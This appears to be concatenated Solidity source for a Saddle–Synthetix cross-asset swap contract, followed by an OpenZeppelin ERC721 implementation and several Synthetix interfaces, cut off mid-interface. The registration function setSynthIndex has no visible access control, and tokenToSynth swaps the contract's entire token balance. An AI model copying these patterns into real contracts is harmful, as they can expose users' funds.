exchangeRates.effectiveValue( mediumSynthKey, expectedMediumSynthAmount, synthOutKey ); } /** * @notice Initiates a cross-asset swap from a token supported in the `swap` pool to any synthetic asset. * The caller will receive an ERC721 token representing their ownership of the pending cross-asset swap. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param tokenFromIndex the index of the token to swap from * @param synthOutKey the currency key of the desired synthetic asset * @param tokenInAmount the amount of the token to swap form * @param minAmount the amount of the token to swap form * @return ID of the ERC721 token sent to the caller */ function tokenToSynth( ISwap swap, uint8 tokenFromIndex, bytes32 synthOutKey, uint256 tokenInAmount, uint256 minAmount ) external returns (uint256) { require(tokenInAmount != 0, "amount must be greater than 0"); // Create a SynthSwapper clone SynthSwapper synthSwapper = SynthSwapper( Clones.clone(SYNTH_SWAPPER_MASTER) ); synthSwapper.initialize(); // Add the synthswapper to the pending settlement list uint256 itemId = _addToPendingSynthSwapList( PendingToSynthSwap(synthSwapper, synthOutKey) ); pendingSwapType[itemId] = PendingSwapType.TokenToSynth; // Mint an ERC721 token that represents ownership of the pending synth settlement to msg.sender _mint(msg.sender, itemId); // Transfer token from msg.sender IERC20 tokenFrom = swapContracts[address(swap)].tokens[tokenFromIndex]; // revert when token not found in swap pool tokenFrom.safeTransferFrom(msg.sender, address(this), tokenInAmount); tokenInAmount = tokenFrom.balanceOf(address(this)); // Swap the synth to the medium synth uint256 mediumSynthAmount = swap.swap( tokenFromIndex, getSynthIndex(swap), tokenInAmount, 0, block.timestamp ); // Swap synths via Synthetix network IERC20(getSynthAddress(swap)).safeTransfer( address(synthSwapper), mediumSynthAmount ); require( synthSwapper.swapSynth( getSynthKey(swap), mediumSynthAmount, synthOutKey ) >= minAmount, "minAmount not reached" ); // Emit TokenToSynth event with relevant data emit TokenToSynth( msg.sender, itemId, swap, tokenFromIndex, tokenInAmount, synthOutKey ); return (itemId); } /** * @notice Calculates the expected amount of the desired token the caller will receive after completing * a `SynthToToken` swap with the given parameters. This calculation does not consider the settlement periods or * any potential changes of the `swap` pool composition. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param synthInKey the currency key of the synth to swap from * @param tokenToIndex the index of the token to swap to * @param synthInAmount the amount of the synth to swap form * @return the expected amount of the bridging synth and the expected amount of the desired token */ function calcSynthToToken( ISwap swap, bytes32 synthInKey, uint8 tokenToIndex, uint256 synthInAmount ) external view returns (uint256, uint256) { IExchangeRates exchangeRates = IExchangeRates( SYNTHETIX_RESOLVER.getAddress(EXCHANGE_RATES_NAME) ); uint8 mediumSynthIndex = getSynthIndex(swap); bytes32 mediumSynthKey = getSynthKey(swap); require(synthInKey != mediumSynthKey, "use normal swap"); uint256 expectedMediumSynthAmount = exchangeRates.effectiveValue( synthInKey, synthInAmount, mediumSynthKey ); return ( expectedMediumSynthAmount, swap.calculateSwap( mediumSynthIndex, tokenToIndex, expectedMediumSynthAmount ) ); } /** * @notice Initiates a cross-asset swap from a synthetic asset to a supported token. The caller will receive * an ERC721 token representing their ownership of the pending cross-asset swap. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param synthInKey the currency key of the synth to swap from * @param tokenToIndex the index of the token to swap to * @param synthInAmount the amount of the synth to swap form * @param minMediumSynthAmount the minimum amount of the bridging synth at pre-settlement stage * @return the ID of the ERC721 token sent to the caller */ function synthToToken( ISwap swap, bytes32 synthInKey, uint8 tokenToIndex, uint256 synthInAmount, uint256 minMediumSynthAmount ) external returns (uint256) { require(synthInAmount != 0, "amount must be greater than 0"); bytes32 mediumSynthKey = getSynthKey(swap); require( synthInKey != mediumSynthKey, "synth is supported via normal swap" ); // Create a SynthSwapper clone SynthSwapper synthSwapper = SynthSwapper( Clones.clone(SYNTH_SWAPPER_MASTER) ); synthSwapper.initialize(); // Add the synthswapper to the pending synth to token settlement list uint256 itemId = _addToPendingSynthToTokenSwapList( PendingToTokenSwap(synthSwapper, mediumSynthKey, swap, tokenToIndex) ); pendingSwapType[itemId] = PendingSwapType.SynthToToken; // Mint an ERC721 token that represents ownership of the pending synth to token settlement to msg.sender _mint(msg.sender, itemId); // Receive synth from the user and swap it to another synth IERC20 synthFrom = getProxyAddressFromTargetSynthKey(synthInKey); synthFrom.safeTransferFrom(msg.sender, address(this), synthInAmount); synthFrom.safeTransfer(address(synthSwapper), synthInAmount); require( synthSwapper.swapSynth(synthInKey, synthInAmount, mediumSynthKey) >= minMediumSynthAmount, "minMediumSynthAmount not reached" ); // Emit SynthToToken event with relevant data emit SynthToToken( msg.sender, itemId, swap, synthInKey, synthInAmount, tokenToIndex ); return (itemId); } /** * @notice Calculates the expected amount of the desired token the caller will receive after completing * a `TokenToToken` swap with the given parameters. This calculation does not consider the settlement periods or * any potential changes of the pool compositions. * @param swaps the addresses of the two Saddle pools used to do the cross-asset swap * @param tokenFromIndex the index of the token in the first `swaps` pool to swap from * @param tokenToIndex the index of the token in the second `swaps` pool to swap to * @param tokenFromAmount the amount of the token to swap from * @return the expected amount of bridging synth at pre-settlement stage and the expected amount of the desired * token */ function calcTokenToToken( ISwap[2] calldata swaps, uint8 tokenFromIndex, uint8 tokenToIndex, uint256 tokenFromAmount ) external view returns (uint256, uint256) { IExchangeRates exchangeRates = IExchangeRates( SYNTHETIX_RESOLVER.getAddress(EXCHANGE_RATES_NAME) ); uint256 firstSynthAmount = swaps[0].calculateSwap( tokenFromIndex, getSynthIndex(swaps[0]), tokenFromAmount ); uint256 mediumSynthAmount = exchangeRates.effectiveValue( getSynthKey(swaps[0]), firstSynthAmount, getSynthKey(swaps[1]) ); return ( mediumSynthAmount, swaps[1].calculateSwap( getSynthIndex(swaps[1]), tokenToIndex, mediumSynthAmount ) ); } /** * @notice Initiates a cross-asset swap from a token in one Saddle pool to one in another. The caller will receive * an ERC721 token representing their ownership of the pending cross-asset swap. * @param swaps the addresses of the two Saddle pools used to do the cross-asset swap * @param tokenFromIndex the index of the token in the first `swaps` pool to swap from * @param tokenToIndex the index of the token in the second `swaps` pool to swap to * @param tokenFromAmount the amount of the token to swap from * @param minMediumSynthAmount the minimum amount of the bridging synth at pre-settlement stage * @return the ID of the ERC721 token sent to the caller */ function tokenToToken( ISwap[2] calldata swaps, uint8 tokenFromIndex, uint8 tokenToIndex, uint256 tokenFromAmount, uint256 minMediumSynthAmount ) external returns (uint256) { // Create a SynthSwapper clone require(tokenFromAmount != 0, "amount must be greater than 0"); SynthSwapper synthSwapper = SynthSwapper( Clones.clone(SYNTH_SWAPPER_MASTER) ); synthSwapper.initialize(); bytes32 mediumSynthKey = getSynthKey(swaps[1]); // Add the synthswapper to the pending synth to token settlement list uint256 itemId = _addToPendingSynthToTokenSwapList( PendingToTokenSwap( synthSwapper, mediumSynthKey, swaps[1], tokenToIndex ) ); pendingSwapType[itemId] = PendingSwapType.TokenToToken; // Mint an ERC721 token that represents ownership of the pending swap to msg.sender _mint(msg.sender, itemId); // Receive token from the user ISwap swap = swaps[0]; { IERC20 tokenFrom = swapContracts[address(swap)].tokens[ tokenFromIndex ]; tokenFrom.safeTransferFrom( msg.sender, address(this), tokenFromAmount ); } uint256 firstSynthAmount = swap.swap( tokenFromIndex, getSynthIndex(swap), tokenFromAmount, 0, block.timestamp ); // Swap the synth to another synth IERC20(getSynthAddress(swap)).safeTransfer( address(synthSwapper), firstSynthAmount ); require( synthSwapper.swapSynth( getSynthKey(swap), firstSynthAmount, mediumSynthKey ) >= minMediumSynthAmount, "minMediumSynthAmount not reached" ); // Emit TokenToToken event with relevant data emit TokenToToken( msg.sender, itemId, swaps, tokenFromIndex, tokenFromAmount, tokenToIndex ); return (itemId); } /** * @notice Registers the index and the address of the supported synth from the given `swap` pool. The matching currency key must * be supplied for a successful registration. * @param swap the address of the pool that contains the synth * @param synthIndex the index of the supported synth in the given `swap` pool * @param currencyKey the currency key of the synth in bytes32 form */ function setSynthIndex( ISwap swap, uint8 synthIndex, bytes32 currencyKey ) external { require(synthIndex < MAX_UINT8, "index is too large"); SwapContractInfo storage swapContractInfo = swapContracts[ address(swap) ]; // Check if the pool has already been added require(swapContractInfo.synthIndexPlusOne == 0, "Pool already added"); // Ensure the synth with the same currency key exists at the given `synthIndex` IERC20 synth = swap.getToken(synthIndex); require( ISynth(Proxy(address(synth)).target()).currencyKey() == currencyKey, "currencyKey does not match" ); swapContractInfo.synthIndexPlusOne = synthIndex + 1; swapContractInfo.synthAddress = address(synth); swapContractInfo.synthKey = currencyKey; swapContractInfo.tokens = new IERC20[](0); for (uint8 i = 0; i < MAX_UINT8; i++) { IERC20 token; if (i == synthIndex) { token = synth; } else { try swap.getToken(i) returns (IERC20 token_) { token = token_; } catch { break; } } swapContractInfo.tokens.push(token); token.safeApprove(address(swap), MAX_UINT256); } emit SynthIndex(address(swap), synthIndex, currencyKey, address(synth)); } /** * @notice Returns the index of the supported synth in the given `swap` pool. Reverts if the `swap` pool * is not registered. * @param swap the address of the pool that contains the synth * @return the index of the supported synth */ function getSynthIndex(ISwap swap) public view returns (uint8) { uint8 synthIndexPlusOne = swapContracts[address(swap)] .synthIndexPlusOne; require(synthIndexPlusOne > 0, "synth index not found for given pool"); return synthIndexPlusOne - 1; } /** * @notice Returns the address of the supported synth in the given `swap` pool. Reverts if the `swap` pool * is not registered. * @param swap the address of the pool that contains the synth * @return the address of the supported synth */ function getSynthAddress(ISwap swap) public view returns (address) { address synthAddress = swapContracts[address(swap)].synthAddress; require( synthAddress != address(0), "synth addr not found for given pool" ); return synthAddress; } /** * @notice Returns the currency key of the supported synth in the given `swap` pool. Reverts if the `swap` pool * is not registered. * @param swap the address of the pool that contains the synth * @return the currency key of the supported synth */ function getSynthKey(ISwap swap) public view returns (bytes32) { bytes32 synthKey = swapContracts[address(swap)].synthKey; require(synthKey != 0x0, "synth key not found for given pool"); return synthKey; } /** * @notice Updates the stored address of the `EXCHANGER` contract. When the Synthetix team upgrades their protocol, * a new Exchanger contract is deployed. This function manually updates the stored address. */ function updateExchangerCache() public { exchanger = IExchanger(SYNTHETIX_RESOLVER.getAddress(EXCHANGER_NAME)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } pragma solidity >=0.4.24; import "./IVirtualSynth.sol"; // https://docs.synthetix.io/contracts/source/interfaces/iexchanger interface IExchanger { // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint exchangeFeeRate); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function setLastExchangeRateForSynth(bytes32 currencyKey, uint rate) external; function suspendSynthWithInvalidRate(bytes32 currencyKey) external; } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/iexchangerates interface IExchangeRates { // Structs struct RateAndUpdatedTime { uint216 rate; uint40 time; } struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozenAtUpperLimit; bool frozenAtLowerLimit; } // Views function aggregators(bytes32 currencyKey) external view returns (address); function aggregatorWarningFlags() external view returns (address); function anyRateIsInvalid(bytes32[] calldata currencyKeys) external view returns (bool); function canFreezeRate(bytes32 currencyKey) external view returns (bool); function currentRoundForRate(bytes32 currencyKey) external view returns (uint); function currenciesUsingAggregator(address aggregator) external view returns (bytes32[] memory); function effectiveValue( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external view returns (uint value); function effectiveValueAndRates( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external view returns ( uint value, uint sourceRate, uint destinationRate ); function effectiveValueAtRound( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, uint roundIdForSrc, uint roundIdForDest ) external view returns (uint value); function getCurrentRoundId(bytes32 currencyKey) external view returns (uint); function getLastRoundIdBeforeElapsedSecs( bytes32 currencyKey, uint startingRoundId, uint startingTimestamp, uint timediff ) external view returns (uint); function inversePricing(bytes32 currencyKey) external view returns ( uint entryPoint, uint upperLimit, uint lowerLimit, bool frozenAtUpperLimit, bool frozenAtLowerLimit ); function lastRateUpdateTimes(bytes32 currencyKey) external view returns (uint256); function oracle() external view returns (address); function rateAndTimestampAtRound(bytes32 currencyKey, uint roundId) external view returns (uint rate, uint time); function rateAndUpdatedTime(bytes32 currencyKey) external view returns (uint rate, uint time); function rateAndInvalid(bytes32 currencyKey) external view returns (uint rate, bool isInvalid); function rateForCurrency(bytes32 currencyKey) external view returns (uint); function rateIsFlagged(bytes32 currencyKey) external view returns (bool); function rateIsFrozen(bytes32 currencyKey) external view returns (bool); function rateIsInvalid(bytes32 currencyKey) external view returns (bool); function rateIsStale(bytes32 currencyKey) external view returns (bool); function rateStalePeriod() external view returns (uint); function ratesAndUpdatedTimeForCurrencyLastNRounds(bytes32 currencyKey, uint numRounds) external view returns (uint[] memory rates, uint[] memory times); function ratesAndInvalidForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory rates, bool anyRateInvalid); function ratesForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory); // Mutative functions function freezeRate(bytes32 currencyKey) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, 